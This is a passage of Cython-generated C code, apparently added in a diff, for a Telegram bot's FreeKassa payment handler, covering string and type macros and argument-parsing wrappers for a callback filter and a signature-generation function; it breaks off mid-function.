__Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input +#endif +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct__genexpr +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_1_create_payment +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_3_process_callback_pay_freekassa +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_5_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_6_process_custom_amount_input +#define __pyx_kp_u_ __pyx_mstate_global->__pyx_kp_u_ +#define __pyx_n_s_DEBUG __pyx_mstate_global->__pyx_n_s_DEBUG +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FREEKASSA_API_KEY __pyx_mstate_global->__pyx_n_s_FREEKASSA_API_KEY +#define __pyx_n_s_FREEKASSA_SHOP_ID __pyx_mstate_global->__pyx_n_s_FREEKASSA_SHOP_ID +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_kp_u_FreeKassa __pyx_mstate_global->__pyx_kp_u_FreeKassa +#define __pyx_kp_u_FreeKassa_2 __pyx_mstate_global->__pyx_kp_u_FreeKassa_2 +#define __pyx_kp_u_FreeKassa_3 __pyx_mstate_global->__pyx_kp_u_FreeKassa_3 +#define __pyx_kp_u_FreeKassa_4 __pyx_mstate_global->__pyx_kp_u_FreeKassa_4 +#define __pyx_kp_u_FreeKassa_5 __pyx_mstate_global->__pyx_kp_u_FreeKassa_5 +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_InlineKeyboardMarkup __pyx_mstate_global->__pyx_n_s_InlineKeyboardMarkup +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_n_u_RUB __pyx_mstate_global->__pyx_n_u_RUB +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Response __pyx_mstate_global->__pyx_n_s_Response +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_kp_u__13 __pyx_mstate_global->__pyx_kp_u__13 +#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 +#define __pyx_n_u__21 __pyx_mstate_global->__pyx_n_u__21 +#define __pyx_kp_u__23 __pyx_mstate_global->__pyx_kp_u__23 +#define __pyx_n_s__24 __pyx_mstate_global->__pyx_n_s__24 +#define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 +#define __pyx_n_s__35 __pyx_mstate_global->__pyx_n_s__35 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__7 __pyx_mstate_global->__pyx_kp_u__7 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_aiohttp __pyx_mstate_global->__pyx_n_s_aiohttp +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_n_u_amount __pyx_mstate_global->__pyx_n_u_amount +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_api_key __pyx_mstate_global->__pyx_n_s_api_key +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_basicConfig __pyx_mstate_global->__pyx_n_s_basicConfig +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_c __pyx_mstate_global->__pyx_n_s_c +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_choosing_amount_freekassa __pyx_mstate_global->__pyx_n_s_choosing_amount_freekassa +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_u_completed __pyx_mstate_global->__pyx_n_u_completed +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_confirm_keyboard __pyx_mstate_global->__pyx_n_s_confirm_keyboard +#define __pyx_n_s_create_payment __pyx_mstate_global->__pyx_n_s_create_payment +#define __pyx_n_u_currency __pyx_mstate_global->__pyx_n_u_currency +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_n_s_email __pyx_mstate_global->__pyx_n_s_email +#define __pyx_n_u_email __pyx_mstate_global->__pyx_n_u_email +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_s_encode __pyx_mstate_global->__pyx_n_s_encode +#define __pyx_n_u_enter_custom_amount_freekassa __pyx_mstate_global->__pyx_n_u_enter_custom_amount_freekassa +#define __pyx_n_s_entering_custom_amount_freekassa __pyx_mstate_global->__pyx_n_s_entering_custom_amount_freekassa +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_u_freekassa __pyx_mstate_global->__pyx_n_u_freekassa +#define __pyx_n_u_freekassa_2 __pyx_mstate_global->__pyx_n_u_freekassa_2 +#define __pyx_kp_u_freekassa_amount __pyx_mstate_global->__pyx_kp_u_freekassa_amount +#define __pyx_n_s_freekassa_webhook __pyx_mstate_global->__pyx_n_s_freekassa_webhook +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_generate_signature __pyx_mstate_global->__pyx_n_s_generate_signature +#define __pyx_n_s_generate_signature_locals_genexp __pyx_mstate_global->__pyx_n_s_generate_signature_locals_genexp +#define __pyx_n_s_genexpr __pyx_mstate_global->__pyx_n_s_genexpr +#define __pyx_n_s_get __pyx_mstate_global->__pyx_n_s_get +#define __pyx_n_s_handlers_payments_freekassa_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_freekassa_pay +#define __pyx_kp_s_handlers_payments_freekassa_pay_2 __pyx_mstate_global->__pyx_kp_s_handlers_payments_freekassa_pay_2 +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_n_s_hashlib __pyx_mstate_global->__pyx_n_s_hashlib +#define __pyx_n_s_hexdigest __pyx_mstate_global->__pyx_n_s_hexdigest +#define __pyx_n_s_hmac __pyx_mstate_global->__pyx_n_s_hmac +#define __pyx_kp_u_https_api_freekassa_com_v1_order __pyx_mstate_global->__pyx_kp_u_https_api_freekassa_com_v1_order +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_u_i __pyx_mstate_global->__pyx_n_u_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_initializing __pyx_mstate_global->__pyx_n_s_initializing +#define __pyx_n_s_inline_keyboard __pyx_mstate_global->__pyx_n_s_inline_keyboard +#define __pyx_n_s_ip __pyx_mstate_global->__pyx_n_s_ip +#define __pyx_n_u_ip __pyx_mstate_global->__pyx_n_u_ip +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_json __pyx_mstate_global->__pyx_n_s_json +#define __pyx_n_s_k __pyx_mstate_global->__pyx_n_s_k +#define __pyx_n_s_keyboard __pyx_mstate_global->__pyx_n_s_keyboard +#define __pyx_n_s_lambda __pyx_mstate_global->__pyx_n_s_lambda +#define __pyx_n_s_level __pyx_mstate_global->__pyx_n_s_level +#define __pyx_n_u_location __pyx_mstate_global->__pyx_n_u_location +#define __pyx_n_s_logging __pyx_mstate_global->__pyx_n_s_logging +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_u_metadata __pyx_mstate_global->__pyx_n_u_metadata +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_new __pyx_mstate_global->__pyx_n_s_new +#define __pyx_n_s_nonce __pyx_mstate_global->__pyx_n_s_nonce +#define __pyx_n_u_nonce __pyx_mstate_global->__pyx_n_u_nonce +#define __pyx_n_s_params __pyx_mstate_global->__pyx_n_s_params +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_freekassa __pyx_mstate_global->__pyx_n_u_pay_freekassa +#define __pyx_n_u_paymentId __pyx_mstate_global->__pyx_n_u_paymentId +#define __pyx_n_s_payment_id __pyx_mstate_global->__pyx_n_s_payment_id +#define __pyx_n_s_payment_url __pyx_mstate_global->__pyx_n_s_payment_url +#define __pyx_n_s_post __pyx_mstate_global->__pyx_n_s_post +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_freekassa __pyx_mstate_global->__pyx_n_s_process_callback_pay_freekassa +#define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input +#define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_request __pyx_mstate_global->__pyx_n_s_request +#define __pyx_n_s_requests __pyx_mstate_global->__pyx_n_s_requests +#define __pyx_n_s_response __pyx_mstate_global->__pyx_n_s_response +#define __pyx_n_s_response_data __pyx_mstate_global->__pyx_n_s_response_data +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_n_s_sha256 __pyx_mstate_global->__pyx_n_s_sha256 +#define __pyx_n_u_shopId __pyx_mstate_global->__pyx_n_u_shopId +#define __pyx_n_s_sign_string __pyx_mstate_global->__pyx_n_s_sign_string +#define __pyx_n_u_signature __pyx_mstate_global->__pyx_n_u_signature +#define __pyx_kp_u_solo_net __pyx_mstate_global->__pyx_kp_u_solo_net +#define __pyx_n_s_sorted_params __pyx_mstate_global->__pyx_n_s_sorted_params +#define __pyx_n_s_spec __pyx_mstate_global->__pyx_n_s_spec +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_status __pyx_mstate_global->__pyx_n_s_status +#define __pyx_n_u_status __pyx_mstate_global->__pyx_n_u_status +#define __pyx_n_u_success __pyx_mstate_global->__pyx_n_u_success +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_time __pyx_mstate_global->__pyx_n_s_time +#define __pyx_n_u_type __pyx_mstate_global->__pyx_n_u_type +#define __pyx_n_s_types __pyx_mstate_global->__pyx_n_s_types +#define __pyx_kp_s_types_CallbackQuery __pyx_mstate_global->__pyx_kp_s_types_CallbackQuery +#define __pyx_kp_s_types_Message __pyx_mstate_global->__pyx_kp_s_types_Message +#define __pyx_n_s_update_balance __pyx_mstate_global->__pyx_n_s_update_balance +#define __pyx_n_s_url __pyx_mstate_global->__pyx_n_s_url +#define __pyx_n_s_user_email __pyx_mstate_global->__pyx_n_s_user_email +#define __pyx_n_s_user_id __pyx_mstate_global->__pyx_n_s_user_id +#define __pyx_n_u_user_id __pyx_mstate_global->__pyx_n_u_user_id +#define __pyx_n_s_user_ip __pyx_mstate_global->__pyx_n_s_user_ip +#define __pyx_n_s_uuid __pyx_mstate_global->__pyx_n_s_uuid +#define __pyx_n_s_uuid4 __pyx_mstate_global->__pyx_n_s_uuid4 +#define __pyx_n_s_values __pyx_mstate_global->__pyx_n_s_values +#define __pyx_n_s_waiting_for_payment_confirmation __pyx_mstate_global->__pyx_n_s_waiting_for_payment_confirmation +#define __pyx_n_s_web __pyx_mstate_global->__pyx_n_s_web +#define __pyx_int_0 __pyx_mstate_global->__pyx_int_0 +#define __pyx_int_1 __pyx_mstate_global->__pyx_int_1 +#define __pyx_int_2 __pyx_mstate_global->__pyx_int_2 +#define __pyx_int_6 __pyx_mstate_global->__pyx_int_6 +#define __pyx_int_200 __pyx_mstate_global->__pyx_int_200 +#define __pyx_int_1000 __pyx_mstate_global->__pyx_int_1000 +#define __pyx_tuple__3 __pyx_mstate_global->__pyx_tuple__3 +#define __pyx_tuple__10 __pyx_mstate_global->__pyx_tuple__10 +#define __pyx_tuple__22 __pyx_mstate_global->__pyx_tuple__22 +#define __pyx_tuple__26 __pyx_mstate_global->__pyx_tuple__26 +#define __pyx_tuple__28 __pyx_mstate_global->__pyx_tuple__28 +#define __pyx_tuple__29 __pyx_mstate_global->__pyx_tuple__29 +#define __pyx_tuple__30 __pyx_mstate_global->__pyx_tuple__30 +#define __pyx_tuple__31 __pyx_mstate_global->__pyx_tuple__31 +#define __pyx_tuple__32 __pyx_mstate_global->__pyx_tuple__32 +#define __pyx_tuple__33 __pyx_mstate_global->__pyx_tuple__33 +#define __pyx_tuple__34 __pyx_mstate_global->__pyx_tuple__34 +#define __pyx_codeobj__2 __pyx_mstate_global->__pyx_codeobj__2 +#define __pyx_codeobj__5 __pyx_mstate_global->__pyx_codeobj__5 +#define __pyx_codeobj__6 __pyx_mstate_global->__pyx_codeobj__6 +#define __pyx_codeobj__9 __pyx_mstate_global->__pyx_codeobj__9 +#define __pyx_codeobj__17 __pyx_mstate_global->__pyx_codeobj__17 +#define __pyx_codeobj__19 __pyx_mstate_global->__pyx_codeobj__19 +#define __pyx_codeobj__27 __pyx_mstate_global->__pyx_codeobj__27 +/* #### Code section: module_code ### */ + +/* "handlers/payments/freekassa_pay.py":87 + * + * + * @router.callback_query(lambda c: c.data == "pay_freekassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_freekassa( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_20lambda1(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_20lambda1 = {"lambda1", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_20lambda1, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_20lambda1(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_c = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("lambda1 (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_c,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_c)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 87, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "lambda1") < 0)) __PYX_ERR(0, 87, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_c = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("lambda1", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 87, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.lambda1", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_lambda_funcdef_8handlers_8payments_13freekassa_pay_lambda1(__pyx_self, __pyx_v_c); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_lambda_funcdef_8handlers_8payments_13freekassa_pay_lambda1(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_c) { + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("lambda1", 1); + __Pyx_XDECREF(__pyx_r); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_c, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = PyObject_RichCompare(__pyx_t_1, __pyx_n_u_pay_freekassa, Py_EQ); __Pyx_XGOTREF(__pyx_t_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_r = __pyx_t_2; + __pyx_t_2 = 0; + goto __pyx_L0; + + /* function exit code */ + __pyx_L1_error:; + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_AddTraceback("handlers.payments.freekassa_pay.lambda1", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __pyx_L0:; + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +/* "handlers/payments/freekassa_pay.py":30 + * + * + * def generate_signature(params, api_key): # <<<<<<<<<<<<<< + * sorted_params = {k: params[k] for k in sorted(params)} + * sign_string = "|".join(str(value) for value in sorted_params.values()) + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_1generate_signature(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_1generate_signature = {"generate_signature", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_1generate_signature, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_1generate_signature(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_params = 0; + PyObject *__pyx_v_api_key = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("generate_signature (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_params,&__pyx_n_s_api_key,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_params)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 30, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_api_key)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 30, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("generate_signature", 1, 2, 2, 1); __PYX_ERR(0, 30, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "generate_signature") < 0)) __PYX_ERR(0, 30, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 